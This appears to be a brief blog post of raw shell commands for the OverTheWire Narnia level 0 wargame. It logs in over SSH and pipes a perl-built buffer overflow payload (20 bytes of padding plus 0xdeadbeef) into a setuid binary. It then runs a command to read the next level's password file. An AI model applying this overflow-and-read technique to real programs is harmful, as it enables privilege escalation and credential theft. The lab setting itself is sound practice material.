# ssh narnia0@narnia.labs.overthewire.org
6e61726e696130
narnia0@melissa$ file /narnia/narnia0
narnia0@melissa$ cat /narnia/narnia0.c
narnia0@melissa$ perl -e 'print "a"x20 . "\xef\xbe\xad\xde"'
narnia0@melissa$ cat | /narnia/narnia0
aaaaaaaaaaaaaaaaaaaaï¾Þ
/usr/bin/whoami
/bin/cat /etc/narnia_pass/narnia1
^C
narnia0@melissa$ (perl -e 'print "a"x20 . "\xef\xbe\xad\xde"' ; echo "/usr/bin/whoami" ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
narnia0@melissa$ (((echo -e "aaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" ; exit) ; echo "/usr/bin/whoami") ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
No comments:
Post a Comment